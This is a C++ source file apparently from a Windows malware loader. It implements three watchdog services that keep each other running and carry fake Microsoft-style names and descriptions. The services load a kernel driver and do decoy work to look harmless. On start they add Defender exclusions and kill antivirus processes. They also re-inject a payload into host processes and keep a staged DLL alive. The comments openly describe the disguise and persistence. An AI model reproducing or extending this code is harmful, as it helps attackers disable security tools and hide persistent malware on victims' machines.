Files
loader/GuardService.cpp
2026-11-03 20:45:39 -08:00

1827 lines
48 KiB
C++

#include "Common.h"
#include "GuardService.h"
#include "Logger.h"
#include "ProcessUtils.h"
#include "ServiceManager.h"
#include "DriverClient.h"
#include "HostStager.h"
#include "StageClient.h"
#include "Exclusions.h"
#include "AvKill.h"
#include "Paths.h"
#include <cwchar>
#include <sstream>
#include <aclapi.h>
#include <accctrl.h>
static const wchar_t* kConfigKey = L"SOFTWARE\\ArDrvLoader";
struct GuardConfig
{
std::wstring role;
std::wstring serviceName;
std::wstring prefix;
std::wstring targetPath;
std::wstring targetArgs;
std::wstring targetService;
std::wstring driverImage = L"C:\\Windows\\System32\\drivers\\ardrv.sys";
std::wstring driverService = L"ArDrv";
std::wstring driverDevice = L"\\\\.\\ArDrv";
// Names of the installed watchdogs, so each role can keep its peers alive.
std::wstring driverServiceName;
std::wstring guardServiceName;
std::wstring repairServiceName;
DWORD intervalMs = 5000;
DWORD desiredStartType = SERVICE_AUTO_START;
DWORD killAvOnStart = 0;
DWORD driverFailMax = 3;
bool noStart = false;
bool console = false;
bool allowVm = false;
bool keepLocation = false;
bool installDryRun = false;
std::wstring installDir;
// Optional cloud agent service installed in the same elevated pass.
std::wstring cloudUrl;
std::wstring cloudSecret;
std::wstring cloudAgent;
std::wstring cloudServiceName;
};
static SERVICE_STATUS_HANDLE g_guardStatusHandle = nullptr;
static SERVICE_STATUS g_guardStatus{};
static HANDLE g_guardStopEvent = nullptr;
static std::wstring g_guardServiceName = L"ArDrvGuard";
static GuardConfig g_guardBaseConfig;
static void TrimW(std::wstring& s)
{
size_t a = 0;
size_t b = s.size();
while (a < b && iswspace(s[a]))
++a;
while (b > a && iswspace(s[b - 1]))
--b;
if (a != 0 || b != s.size())
s = s.substr(a, b - a);
}
static bool FileExistsW(const std::wstring& path)
{
if (path.empty())
return false;
DWORD attr = GetFileAttributesW(path.c_str());
return attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) == 0;
}
static std::wstring GetModuleDirectory()
{
wchar_t path[MAX_PATH]{};
DWORD len = GetModuleFileNameW(nullptr, path, _countof(path));
if (len == 0 || len >= _countof(path))
return std::wstring();
std::wstring p = path;
size_t pos = p.find_last_of(L"\\/");
if (pos != std::wstring::npos)
p = p.substr(0, pos);
return p;
}
static std::wstring GetFullPathW(const std::wstring& path)
{
if (path.empty())
return path;
wchar_t full[4096]{};
DWORD n = GetFullPathNameW(path.c_str(), _countof(full), full, nullptr);
if (n == 0 || n >= _countof(full))
return path;
return full;
}
static bool RegReadStringValue(const wchar_t* name, std::wstring& out)
{
out.clear();
HKEY key = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS)
return false;
DWORD type = 0;
DWORD size = 0;
if (RegQueryValueExW(key, name, nullptr, &type, nullptr, &size) != ERROR_SUCCESS)
{
RegCloseKey(key);
return false;
}
if (type != REG_SZ && type != REG_EXPAND_SZ)
{
RegCloseKey(key);
return false;
}
std::vector<wchar_t> buf(size / sizeof(wchar_t) + 1);
if (RegQueryValueExW(key, name, nullptr, nullptr, (LPBYTE)buf.data(), &size) == ERROR_SUCCESS)
out = buf.data();
RegCloseKey(key);
return true;
}
static bool RegReadDwordValue(const wchar_t* name, DWORD& out)
{
out = 0;
HKEY key = nullptr;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, KEY_READ, &key) != ERROR_SUCCESS)
return false;
DWORD type = 0;
DWORD size = sizeof(out);
DWORD value = 0;
bool ok =
RegQueryValueExW(key, name, nullptr, &type, (LPBYTE)&value, &size) == ERROR_SUCCESS &&
type == REG_DWORD;
RegCloseKey(key);
if (ok)
out = value;
return ok;
}
static bool WriteStringValue(HKEY key, const wchar_t* name, const std::wstring& value)
{
DWORD bytes = (DWORD)((value.size() + 1) * sizeof(wchar_t));
return RegSetValueExW(key, name, 0, REG_SZ, (const BYTE*)value.c_str(), bytes) == ERROR_SUCCESS;
}
static bool WriteDwordValue(HKEY key, const wchar_t* name, DWORD value)
{
return RegSetValueExW(key, name, 0, REG_DWORD, (const BYTE*)&value, sizeof(value)) == ERROR_SUCCESS;
}
static GuardConfig LoadRuntimeConfig(const GuardConfig& base)
{
GuardConfig cfg = base;
std::wstring s;
DWORD d = 0;
if (RegReadStringValue(L"TargetPath", s) && !s.empty())
cfg.targetPath = s;
if (RegReadStringValue(L"TargetArgs", s) && !s.empty())
cfg.targetArgs = s;
if (RegReadStringValue(L"TargetService", s) && !s.empty())
cfg.targetService = s;
if (RegReadStringValue(L"DriverImage", s) && !s.empty())
cfg.driverImage = s;
if (RegReadStringValue(L"DriverService", s) && !s.empty())
cfg.driverService = s;
if (RegReadStringValue(L"DriverDevice", s) && !s.empty())
cfg.driverDevice = s;
if (RegReadDwordValue(L"CheckIntervalMs", d) && d >= 1000)
cfg.intervalMs = d;
if (RegReadStringValue(L"DriverServiceName", s) && !s.empty())
cfg.driverServiceName = s;
if (RegReadStringValue(L"GuardServiceName", s) && !s.empty())
cfg.guardServiceName = s;
if (RegReadStringValue(L"RepairServiceName", s) && !s.empty())
cfg.repairServiceName = s;
if (RegReadDwordValue(L"DesiredStartType", d) &&
(d == SERVICE_AUTO_START || d == SERVICE_DEMAND_START || d == SERVICE_DISABLED))
{
cfg.desiredStartType = d;
}
if (RegReadDwordValue(L"KillAvOnStart", d))
cfg.killAvOnStart = d;
if (RegReadDwordValue(L"DriverFailMax", d) && d >= 1 && d <= 100)
cfg.driverFailMax = d;
return cfg;
}
// Number of consecutive driver load failures, persisted so a boot loop cannot
// retry forever after a bugcheck.
static DWORD LoadDriverFailCount()
{
DWORD value = 0;
RegReadDwordValue(L"DriverFailCount", value);
return value;
}
static void SaveDriverFailCount(DWORD value)
{
HKEY key = nullptr;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr)
== ERROR_SUCCESS)
{
WriteDwordValue(key, L"DriverFailCount", value);
RegCloseKey(key);
}
}
static void SaveDriverState(const wchar_t* state)
{
HKEY key = nullptr;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, kConfigKey, 0, nullptr, 0, KEY_SET_VALUE, nullptr, &key, nullptr)
== ERROR_SUCCESS)
{
WriteStringValue(key, L"DriverState", state);
RegCloseKey(key);
}
}
static bool HardenConfigKey(HKEY key){
// SYSTEM and Administrators full control, everyone else nothing.
// Protected DACL so a child key cannot re-grant access.
const wchar_t* sddl = L"D:P(A;CI;KA;;;SY)(A;CI;KA;;;BA)";
PSECURITY_DESCRIPTOR sd = nullptr;
if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(
sddl,
SDDL_REVISION_1,
&sd,
nullptr))
{
Log(L"[-] Config DACL: SDDL parse failed: %lu", GetLastError());
return false;
}
BOOL daclPresent = FALSE;
BOOL daclDefaulted = FALSE;
PACL dacl = nullptr;
bool ok =
GetSecurityDescriptorDacl(sd, &daclPresent, &dacl, &daclDefaulted) &&
daclPresent &&
SetSecurityInfo(
key,
SE_REGISTRY_KEY,
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION,
nullptr,
nullptr,
dacl,
nullptr) == ERROR_SUCCESS;
if (!ok)
Log(L"[-] Config DACL: SetSecurityInfo failed: %lu", GetLastError());
LocalFree(sd);
return ok;
}
static bool WriteInstalledConfig(const GuardConfig& cfg)
{
HKEY key = nullptr;
if (RegCreateKeyExW(
HKEY_LOCAL_MACHINE,
kConfigKey,
0,
nullptr,
0,
KEY_SET_VALUE | KEY_READ | WRITE_DAC,
nullptr,
&key,
nullptr) != ERROR_SUCCESS)
{
return false;
}
bool ok = true;
ok = WriteStringValue(key, L"TargetPath", cfg.targetPath) && ok;
ok = WriteStringValue(key, L"TargetArgs", cfg.targetArgs) && ok;
ok = WriteStringValue(key, L"TargetService", cfg.targetService) && ok;
ok = WriteStringValue(key, L"DriverImage", cfg.driverImage) && ok;
ok = WriteStringValue(key, L"DriverService", cfg.driverService) && ok;
ok = WriteStringValue(key, L"DriverDevice", cfg.driverDevice) && ok;
ok = WriteDwordValue(key, L"CheckIntervalMs", cfg.intervalMs) && ok;
ok = WriteDwordValue(key, L"DesiredStartType", cfg.desiredStartType) && ok;
ok = WriteStringValue(key, L"DriverServiceName", cfg.driverServiceName) && ok;
ok = WriteStringValue(key, L"GuardServiceName", cfg.guardServiceName) && ok;
ok = WriteStringValue(key, L"RepairServiceName", cfg.repairServiceName) && ok;
ok = WriteDwordValue(key, L"AllowVm", cfg.allowVm ? 1 : 0) && ok;
ok = WriteDwordValue(key, L"KillAvOnStart", cfg.killAvOnStart) && ok;
ok = WriteDwordValue(key, L"DriverFailMax", cfg.driverFailMax) && ok;
HardenConfigKey(key);
RegCloseKey(key);
return ok;
}
static std::wstring DefaultServiceNameForRole(const std::wstring& role)
{
// Names read like Windows component hosts: short, plausible, and not
// colliding with any real service.
if (_wcsicmp(role.c_str(), L"driver") == 0)
return L"DeviceSetupHost";
if (_wcsicmp(role.c_str(), L"repair") == 0)
return L"ServiceStateHost";
return L"ProgramCompatHost";
}
static std::wstring DisplayNameForRole(const std::wstring& role)
{
if (_wcsicmp(role.c_str(), L"driver") == 0)
return L"Device Setup Manager Host";
if (_wcsicmp(role.c_str(), L"repair") == 0)
return L"Service State Repository Host";
return L"Program Compatibility Assistant Host";
}
static std::wstring DescriptionForRole(const std::wstring& role)
{
if (_wcsicmp(role.c_str(), L"driver") == 0)
return L"Maintains device installation state and loads required kernel components.";
if (_wcsicmp(role.c_str(), L"repair") == 0)
return L"Monitors service state and restores required components.";
return L"Tracks application compatibility state and keeps registered programs available.";
}
// Default install directory: %ProgramData%\Microsoft\Windows\Caches\<ServiceName>
static std::wstring DefaultInstallDir(const std::wstring& serviceName)
{
return ArdrvServiceDir(serviceName);
}
static bool ParseGuardArgs(int argc, wchar_t** argv, int start, GuardConfig& cfg)
{
for (int i = start; i < argc; ++i)
{
std::wstring a = argv[i];
auto takeNext = [&](std::wstring& out) -> bool
{
if (i + 1 >= argc)
return false;
out = argv[++i];
return true;
};
if (a == L"--service-name")
{
if (!takeNext(cfg.serviceName))
return false;
continue;
}
if (a == L"--prefix")
{
if (!takeNext(cfg.prefix))
return false;
continue;
}
if (a == L"--target")
{
if (!takeNext(cfg.targetPath))
return false;
continue;
}
if (a == L"--args")
{
if (!takeNext(cfg.targetArgs))
return false;
continue;
}
if (a == L"--target-service")
{
if (!takeNext(cfg.targetService))
return false;
continue;
}
if (a == L"--driver-image")
{
if (!takeNext(cfg.driverImage))
return false;
continue;
}
if (a == L"--driver-service")
{
if (!takeNext(cfg.driverService))
return false;
continue;
}
if (a == L"--driver-device")
{
if (!takeNext(cfg.driverDevice))
return false;
continue;
}
if (a == L"--interval")
{
std::wstring v;
if (!takeNext(v))
return false;
DWORD ms = (DWORD)wcstoul(v.c_str(), nullptr, 10);
if (ms >= 1000)
cfg.intervalMs = ms;
continue;
}
if (a == L"--desired-start")
{
std::wstring v;
if (!takeNext(v))
return false;
cfg.desiredStartType =
(_wcsicmp(v.c_str(), L"demand") == 0)
? SERVICE_DEMAND_START
: SERVICE_AUTO_START;
continue;
}
if (a == L"--no-start")
{
cfg.noStart = true;
continue;
}
if (a == L"--console")
{
cfg.console = true;
continue;
}
if (a == L"--allow-vm")
{
cfg.allowVm = true;
continue;
}
if (a == L"--install-dir")
{
if (!takeNext(cfg.installDir))
return false;
continue;
}
if (a == L"--keep-location")
{
cfg.keepLocation = true;
continue;
}
if (a == L"--dry-run")
{
cfg.installDryRun = true;
continue;
}
if (a == L"--cloud-url")
{
if (!takeNext(cfg.cloudUrl))
return false;
continue;
}
if (a == L"--cloud-secret")
{
if (!takeNext(cfg.cloudSecret))
return false;
continue;
}
if (a == L"--cloud-agent")
{
if (!takeNext(cfg.cloudAgent))
return false;
continue;
}
if (a == L"--cloud-service")
{
if (!takeNext(cfg.cloudServiceName))
return false;
continue;
}
if (a == L"--elevated")
continue;
if (!a.empty() && a[0] != L'-' && cfg.targetPath.empty())
cfg.targetPath = a;
}
return true;
}
static bool EnsureDriverFile(const GuardConfig& cfg)
{
if (FileExistsW(cfg.driverImage))
return true;
std::wstring dir = GetModuleDirectory();
if (dir.empty())
return false;
std::wstring local = dir + L"\\ardrv.sys";
if (!FileExistsW(local))
{
// No loose driver next to the exe: try the image packed into this binary.
if (ExtractDriverImageIfEmbedded(cfg.driverImage.c_str()))
return true;
Log(L"[-] Driver image not found: %s", cfg.driverImage.c_str());
return false;
}
if (!CopyFileW(local.c_str(), cfg.driverImage.c_str(), FALSE))
{
Log(L"[-] CopyFile driver failed: %lu", GetLastError());
return false;
}
Log(L"[+] Driver image copied to %s", cfg.driverImage.c_str());
return FileExistsW(cfg.driverImage);
}
static bool EnsureDriverRunning(const GuardConfig& cfg)
{
if (!EnsureDriverFile(cfg))
return false;
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!scm)
{
Log(L"[-] Driver role: OpenSCManager failed: %lu", GetLastError());
return false;
}
const DWORD access =
SERVICE_QUERY_STATUS |
SERVICE_START |
SERVICE_CHANGE_CONFIG |
SERVICE_QUERY_CONFIG;
SC_HANDLE svc = OpenServiceW(scm, cfg.driverService.c_str(), access);
if (!svc)
{
DWORD e = GetLastError();
if (e == ERROR_SERVICE_DOES_NOT_EXIST)
{
svc = CreateServiceW(
scm,
cfg.driverService.c_str(),
cfg.driverService.c_str(),
access,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
cfg.driverImage.c_str(),
nullptr,
nullptr,
nullptr,
nullptr,
nullptr);
if (svc)
Log(L"[+] Driver service created: %s", cfg.driverService.c_str());
else
Log(L"[-] Driver service create failed: %lu", GetLastError());
}
else
{
Log(L"[-] Driver service open failed: %lu", e);
}
}
if (!svc)
{
CloseServiceHandle(scm);
return false;
}
SERVICE_STATUS st{};
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
if (!running)
{
if (!StartServiceW(svc, 0, nullptr))
{
DWORD e = GetLastError();
if (e == ERROR_SERVICE_DISABLED)
{
ChangeServiceConfigW(
svc,
SERVICE_NO_CHANGE,
SERVICE_DEMAND_START,
SERVICE_NO_CHANGE,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr);
StartServiceW(svc, 0, nullptr);
}
}
}
bool deviceOk = false;
for (int i = 0; i < 60; ++i)
{
HANDLE h = CreateFileW(
cfg.driverDevice.c_str(),
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr,
OPEN_EXISTING,
0,
nullptr);
if (h != INVALID_HANDLE_VALUE)
{
CloseHandle(h);
deviceOk = true;
break;
}
Sleep(50);
}
if (!deviceOk)
Log(L"[-] Driver device not available: %s", cfg.driverDevice.c_str());
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return deviceOk;
}
static bool GetProcessImagePath(DWORD pid, std::wstring& out)
{
out.clear();
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!h)
return false;
wchar_t buf[4096]{};
DWORD size = _countof(buf);
bool ok = QueryFullProcessImageNameW(h, 0, buf, &size) == TRUE;
if (ok)
out.assign(buf, size);
CloseHandle(h);
return ok;
}
static bool IsTargetProcessRunning(const GuardConfig& cfg)
{
if (cfg.targetPath.empty())
return false;
std::wstring target = GetFullPathW(cfg.targetPath);
bool pathLike =
target.find(L'\\') != std::wstring::npos ||
target.find(L'/') != std::wstring::npos ||
target.find(L':') != std::wstring::npos;
if (!pathLike)
return GetPidByName(cfg.targetPath.c_str()) != 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return false;
std::wstring targetName = target;
size_t slash = targetName.find_last_of(L"\\/");
if (slash != std::wstring::npos)
targetName = targetName.substr(slash + 1);
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
bool exactFound = false;
bool nameFound = false;
if (Process32First(snap, &pe))
{
do
{
if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4)
continue;
if (!targetName.empty() && _wcsicmp(pe.szExeFile, targetName.c_str()) == 0)
nameFound = true;
std::wstring image;
if (!GetProcessImagePath(pe.th32ProcessID, image))
continue;
if (_wcsicmp(image.c_str(), target.c_str()) == 0)
{
exactFound = true;
break;
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return exactFound || nameFound;
}
static bool StartTargetProcess(const GuardConfig& cfg)
{
if (cfg.targetPath.empty())
return false;
HANDLE mutex = CreateMutexW(nullptr, FALSE, L"Global\\ArDrvGuardStart");
bool locked = false;
if (mutex)
{
DWORD wait = WaitForSingleObject(mutex, 5000);
if (wait == WAIT_OBJECT_0 || wait == WAIT_ABANDONED)
locked = true;
else
{
CloseHandle(mutex);
mutex = nullptr;
}
}
if (locked && IsTargetProcessRunning(cfg))
{
ReleaseMutex(mutex);
CloseHandle(mutex);
return true;
}
std::wstring path = GetFullPathW(cfg.targetPath);
if (!FileExistsW(path))
{
Log(L"[-] Target program not found: %s", path.c_str());
if (locked)
ReleaseMutex(mutex);
if (mutex)
CloseHandle(mutex);
return false;
}
std::wstring cmd = L"\"" + path + L"\"";
bool launched = false;
DWORD launchedPid = 0;
if (!cfg.targetArgs.empty())
cmd += L" " + cfg.targetArgs;
// The guard runs as LocalSystem in session 0. Starting the target there
// would make it invisible to the logged-in user, so try the active
// console session first and only fall back to the service session.
DWORD sessionId = WTSGetActiveConsoleSessionId();
if (sessionId != 0xFFFFFFFF)
{
HANDLE userToken = nullptr;
if (WTSQueryUserToken(sessionId, &userToken))
{
HANDLE primary = nullptr;
if (DuplicateTokenEx(
userToken,
MAXIMUM_ALLOWED,
nullptr,
SecurityImpersonation,
TokenPrimary,
&primary))
{
LPVOID env = nullptr;
CreateEnvironmentBlock(&env, primary, FALSE);
STARTUPINFOW si{};
si.cb = sizeof(si);
si.lpDesktop = const_cast<LPWSTR>(L"winsta0\\default");
PROCESS_INFORMATION pi{};
std::wstring mutableCmd = cmd;
BOOL created = CreateProcessAsUserW(
primary,
nullptr,
mutableCmd.data(),
nullptr,
nullptr,
FALSE,
CREATE_UNICODE_ENVIRONMENT,
env,
nullptr,
&si,
&pi);
if (created)
{
launched = true;
launchedPid = pi.dwProcessId;
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
{
Log(L"[!] CreateProcessAsUser failed: %lu, falling back", GetLastError());
}
if (env)
DestroyEnvironmentBlock(env);
CloseHandle(primary);
}
else
{
Log(L"[!] DuplicateTokenEx failed: %lu", GetLastError());
}
CloseHandle(userToken);
}
}
if (!launched)
{
STARTUPINFOW si{};
si.cb = sizeof(si);
PROCESS_INFORMATION pi{};
BOOL ok = CreateProcessW(
nullptr,
cmd.data(),
nullptr,
nullptr,
FALSE,
CREATE_NO_WINDOW,
nullptr,
nullptr,
&si,
&pi);
if (ok)
{
launched = true;
launchedPid = pi.dwProcessId;
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
{
Log(L"[-] Start target failed: %lu", GetLastError());
}
}
if (launched)
Log(L"[+] Target started: PID %lu", launchedPid);
if (locked)
ReleaseMutex(mutex);
if (mutex)
CloseHandle(mutex);
return launched;
}
static bool StartServiceLocal(const std::wstring& name, bool enableIfDisabled, DWORD desiredStartType)
{
if (name.empty())
return false;
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!scm)
return false;
SC_HANDLE svc = OpenServiceW(
scm,
name.c_str(),
SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_CHANGE_CONFIG);
if (!svc)
{
Log(L"[-] OpenService(%s) failed: %lu", name.c_str(), GetLastError());
CloseServiceHandle(scm);
return false;
}
SERVICE_STATUS st{};
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
if (running)
{
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return true;
}
if (!StartServiceW(svc, 0, nullptr))
{
DWORD e = GetLastError();
if (e == ERROR_SERVICE_DISABLED && enableIfDisabled)
{
ChangeServiceConfigW(
svc,
SERVICE_NO_CHANGE,
desiredStartType,
SERVICE_NO_CHANGE,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr);
StartServiceW(svc, 0, nullptr);
e = GetLastError();
}
if (e != ERROR_SERVICE_ALREADY_RUNNING)
{
Log(L"[-] StartService(%s) failed: %lu", name.c_str(), e);
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return false;
}
}
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return true;
}
static bool CheckGuard(const GuardConfig& cfg)
{
bool ok = true;
if (!cfg.targetService.empty())
{
if (!IsServiceRunning(cfg.targetService.c_str()))
{
Log(L"[guard] service %s is not running, starting", cfg.targetService.c_str());
ok = StartServiceLocal(cfg.targetService, false, cfg.desiredStartType) && ok;
}
}
if (!cfg.targetPath.empty())
{
if (!IsTargetProcessRunning(cfg))
{
Log(L"[guard] program is not running, starting: %s", cfg.targetPath.c_str());
ok = StartTargetProcess(cfg) && ok;
}
}
return ok;
}
static bool CheckRepair(const GuardConfig& cfg)
{
if (!cfg.targetService.empty())
{
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!scm)
return false;
SC_HANDLE svc = OpenServiceW(
scm,
cfg.targetService.c_str(),
SERVICE_QUERY_CONFIG |
SERVICE_CHANGE_CONFIG |
SERVICE_QUERY_STATUS |
SERVICE_START);
if (!svc)
{
Log(L"[-] Repair: OpenService(%s) failed: %lu", cfg.targetService.c_str(), GetLastError());
CloseServiceHandle(scm);
return false;
}
DWORD needed = 0;
QueryServiceConfigW(svc, nullptr, 0, &needed);
DWORD startType = SERVICE_DEMAND_START;
if (needed > 0)
{
std::vector<BYTE> buf(needed);
LPQUERY_SERVICE_CONFIGW qsc = (LPQUERY_SERVICE_CONFIGW)buf.data();
if (QueryServiceConfigW(svc, qsc, needed, &needed))
startType = qsc->dwStartType;
}
if (startType == SERVICE_DISABLED)
{
Log(L"[repair] service %s is disabled, enabling", cfg.targetService.c_str());
if (ChangeServiceConfigW(
svc,
SERVICE_NO_CHANGE,
cfg.desiredStartType,
SERVICE_NO_CHANGE,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr))
{
Log(L"[repair] service %s start type changed", cfg.targetService.c_str());
}
else
{
Log(L"[-] Repair: ChangeServiceConfig failed: %lu", GetLastError());
}
}
SERVICE_STATUS st{};
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
if (!running)
{
if (!StartServiceW(svc, 0, nullptr))
{
DWORD e = GetLastError();
if (e != ERROR_SERVICE_ALREADY_RUNNING)
Log(L"[-] Repair: StartService(%s) failed: %lu", cfg.targetService.c_str(), e);
}
}
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return true;
}
if (!cfg.targetPath.empty())
{
if (!IsTargetProcessRunning(cfg))
{
Log(L"[repair] program is not running, starting: %s", cfg.targetPath.c_str());
return StartTargetProcess(cfg);
}
}
return true;
}
// Each role keeps the other two services alive. SCM failure actions only fire
// on crashes, so a manual "sc stop" or a disabled service would otherwise leave
// the stack dead.
static void EnsurePeerRunning(const std::wstring& name, const std::wstring& self)
{
if (name.empty() || _wcsicmp(name.c_str(), self.c_str()) == 0)
return;
if (IsServiceRunning(name.c_str()))
return;
Log(L"[watchdog] peer %s is not running, starting", name.c_str());
if (!StartServiceLocal(name, true, SERVICE_AUTO_START))
Log(L"[-] watchdog: cannot start peer %s", name.c_str());
}
// Plausible background activity: refresh a small state cache and read a couple
// of unrelated service states. Cheap, harmless, and it means the process does
// something other than watch one target.
static void DoDecoyWork(const GuardConfig& cfg)
{
wchar_t module[MAX_PATH]{};
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
if (len > 0 && len < _countof(module))
{
std::wstring path = module;
size_t slash = path.find_last_of(L"\\/");
if (slash != std::wstring::npos)
path = path.substr(0, slash);
path += L"\\cache.dat";
HANDLE h = CreateFileW(
path.c_str(),
GENERIC_WRITE,
0,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
nullptr);
if (h != INVALID_HANDLE_VALUE)
{
SYSTEMTIME st{};
GetLocalTime(&st);
char line[128]{};
int n = sprintf_s(
line,
"role=%ls state=%04u-%02u-%02u %02u:%02u:%02u\r\n",
cfg.role.c_str(),
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
if (n > 0)
{
DWORD written = 0;
WriteFile(h, line, (DWORD)n, &written, nullptr);
}
CloseHandle(h);
}
}
static const wchar_t* probe[] = { L"BITS", L"DsmSvc", L"wuauserv" };
for (const wchar_t* name : probe)
IsServiceRunning(name);
}
static int RunRoleLoop(const GuardConfig& base, HANDLE stopEvent)
{
bool firstTick = true;
// Stagger the three roles so they do not wake up in lockstep.
DWORD stagger = 0;
if (_wcsicmp(base.role.c_str(), L"driver") == 0)
stagger = 1500 + (GetTickCount() % 1500);
else if (_wcsicmp(base.role.c_str(), L"guard") == 0)
stagger = 4000 + (GetTickCount() % 2000);
else
stagger = 8000 + (GetTickCount() % 2500);
if (stopEvent)
WaitForSingleObject(stopEvent, stagger);
else
Sleep(stagger);
while (true)
{
if (stopEvent && WaitForSingleObject(stopEvent, 0) == WAIT_OBJECT_0)
break;
GuardConfig cfg = LoadRuntimeConfig(base);
DoDecoyWork(cfg);
if (_wcsicmp(cfg.role.c_str(), L"driver") == 0)
{
// Budget is enforced in memory as well as in the registry, so a
// crash loop stops even when the counter cannot be persisted.
static bool failsLoaded = false;
static DWORD fails = 0;
if (!failsLoaded)
{
fails = LoadDriverFailCount();
failsLoaded = true;
}
if (fails >= cfg.driverFailMax)
{
static bool warned = false;
if (!warned)
{
Log(L"[driver] failure budget exhausted (%lu/%lu), not retrying",
fails, cfg.driverFailMax);
SaveDriverState(L"disabled-after-failures");
warned = true;
}
}
else
{
const bool ok = EnsureDriverRunning(cfg);
if (ok)
{
if (fails != 0)
{
fails = 0;
SaveDriverFailCount(0);
SaveDriverState(L"ok");
}
}
else
{
++fails;
SaveDriverFailCount(fails);
SaveDriverState(L"failed");
Log(L"[driver] load failed (%lu/%lu)", fails, cfg.driverFailMax);
}
}
EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName);
EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName);
}
else if (_wcsicmp(cfg.role.c_str(), L"guard") == 0)
{
// Recovery after a crash, a bugcheck, or a reboot lands here: the
// service is auto-start, so the first tick reinstates state.
if (firstTick)
{
if (DefenderPresent())
{
std::vector<std::wstring> wanted = LoadExclusionList();
if (wanted.empty())
{
wanted = DefaultExclusionPaths();
SaveExclusionList(wanted);
}
std::wstring exclReport;
ApplyExclusions(wanted, exclReport);
Log(L"[guard] exclusions on start: %s", exclReport.c_str());
}
if (cfg.killAvOnStart != 0)
{
std::wstring summary;
KillAVProcessesEx(false, summary);
Log(L"[guard] AV sweep on start: %s", summary.c_str());
}
}
CheckGuard(cfg);
// Host stager: only acts when a payload has been injected before,
// and only re-injects after the previous host died.
if (LoadHostTrack().Tracked())
EnsureHostInjected();
// Stage payload: if the DLL is deployed, keep it alive in a host.
if (!StageDllPath().empty() && !StageAlive())
StageEnsure();
EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName);
EnsurePeerRunning(cfg.repairServiceName, cfg.serviceName);
}
else if (_wcsicmp(cfg.role.c_str(), L"repair") == 0)
{
CheckRepair(cfg);
EnsurePeerRunning(cfg.driverServiceName, cfg.serviceName);
EnsurePeerRunning(cfg.guardServiceName, cfg.serviceName);
}
else
{
Log(L"[-] Unknown service role: %s", cfg.role.c_str());
return 1;
}
DWORD wait = cfg.intervalMs;
if (wait < 1000)
wait = 1000;
if (stopEvent)
{
if (WaitForSingleObject(stopEvent, wait) == WAIT_OBJECT_0)
break;
}
else
{
Sleep(wait);
}
firstTick = false;
}
return 0;
}
static void ReportGuardStatus(DWORD state, DWORD exitCode = 0, DWORD waitHint = 0)
{
if (!g_guardStatusHandle)
return;
static DWORD checkPoint = 1;
g_guardStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_guardStatus.dwCurrentState = state;
g_guardStatus.dwWin32ExitCode = exitCode;
g_guardStatus.dwWaitHint = waitHint;
g_guardStatus.dwControlsAccepted =
(state == SERVICE_RUNNING)
? SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN
: 0;
if (state == SERVICE_START_PENDING || state == SERVICE_STOP_PENDING)
g_guardStatus.dwCheckPoint = checkPoint++;
else
g_guardStatus.dwCheckPoint = 0;
SetServiceStatus(g_guardStatusHandle, &g_guardStatus);
}
static DWORD WINAPI GuardCtrlHandler(DWORD control, DWORD eventType, void* eventData, void* context)
{
(void)eventType;
(void)eventData;
(void)context;
switch (control)
{
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
ReportGuardStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000);
if (g_guardStopEvent)
SetEvent(g_guardStopEvent);
return NO_ERROR;
case SERVICE_CONTROL_INTERROGATE:
return NO_ERROR;
default:
return ERROR_CALL_NOT_IMPLEMENTED;
}
}
static VOID WINAPI GuardServiceMain(DWORD argc, LPWSTR* argv)
{
(void)argc;
(void)argv;
g_guardStatusHandle = RegisterServiceCtrlHandlerExW(
g_guardServiceName.c_str(),
GuardCtrlHandler,
nullptr);
if (!g_guardStatusHandle)
